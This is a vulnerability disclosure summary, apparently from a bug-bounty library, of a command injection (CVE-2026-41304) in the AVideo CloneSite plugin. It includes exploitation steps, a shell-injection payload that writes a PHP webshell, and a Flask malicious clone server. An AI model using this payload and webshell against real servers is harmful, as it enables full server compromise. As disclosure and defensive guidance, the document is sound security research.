# WWBN AVideo: RCE cause by clonesite plugin

AVideo CloneSite plugin strips quotes from escapeshellarg output, letting an admin-supplied cloneSiteURL inject shell metacharacters into wget and achieve RCE.

- Payout: Research
- Severity: high
- Program: AVideo
- Found by: Rangar0k
- Disclosed: 2026-04-16
- CVE: CVE-2026-41304
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-xr6f-h4x7-r6qp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xr6f-h4x7-r6qp
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:command-injection vuln:rce

**Target:** PHP web app CloneSite plugin endpoint cloneClient.json.php
**Root cause:** cloneSiteURL is passed through escapeshellarg then str_replace("'",'') which removes the protective single quotes, so shell metacharacters like `;` survive and are concatenated into a wget command run via exec().
**Steps:**
1. Host a malicious clone server returning JSON with sqlFile and other clone fields (Flask PoC).
2. POST to `objects/pluginAddDataObject.json.php` with admin session and `cloneSiteURL` set to `http://127.0.0.1:8071/;echo${IFS}"<?=system(\$_POST[1])?>"${IFS}>1.php;/`.
3. Request `plugin/CloneSite/cloneClient.json.php` to trigger the wget exec and write the webshell.
4. Request `plugin/CloneSite/1.php` with `1=id` to execute commands as www-data.
**How found:** Code review of cloneClient.json.php spotted str_replace removing the single quotes added by escapeshellarg before the value is concatenated into an exec() wget command.
**Exploitation:** Attacker with admin access registers a malicious clone URL; the clone client builds `wget -O {$sqlFile} {$sqlURL}` where sqlURL contains injected shell commands, writing a PHP webshell into the web root, then executes arbitrary commands via POST parameter.
**Escalation:** Webshell in web-accessible directory enables full server compromise, DB access and pivoting.
**Insight:** When escapeshellarg output is post-processed (str_replace/trim) before exec, the quoting guarantee is destroyed; grep for escapeshellarg followed by string manipulation near exec/system calls.

## Proof of concept (copied exactly from the original report)

**Malicious cloneSiteURL payload with shell injection**

```
"cloneSiteURL":"http://127.0.0.1:8071/;echo${IFS}\"<?=system(\\$_POST[1])?>\"${IFS}>1.php;/",
    "cloneSiteSSHIP":"127.0.0.1",
    "cloneSiteSSHUser":"1",
    "cloneSiteSSHPort":"22",
    "cloneSiteSSHPassword":{
        "type":"encrypted",
        "value":"cU1SVkhSVkxqMmxDZlUrSFhNZnRvcFBtTmI3UXNGZ0VFVWxlLzdJL0pjWGFiVXgyb2Iyci9OOE5LN0p6TmN6Zg=="
    },
    "useRsync":true,
    "MaintenanceMode":false,
    "myKey":"ba882541262f3202ee5a5ad790ae5b70"
```

**Evil Flask server returning clone JSON**

```
from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
    print("PATH:", path)


    return jsonify({
            "error": False,
            "msg": "",
            "url": "http://target-site.com/",
            "key": "target_clone_key",
            "useRsync": 0,
            "videosDir": "/var/www/html/AVideo/videos/",
            "sqlFile": "Clone_mysqlDump_evil123.sql",
            "videoFiles": [],
            "photoFiles": []
        })



if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8071)
```

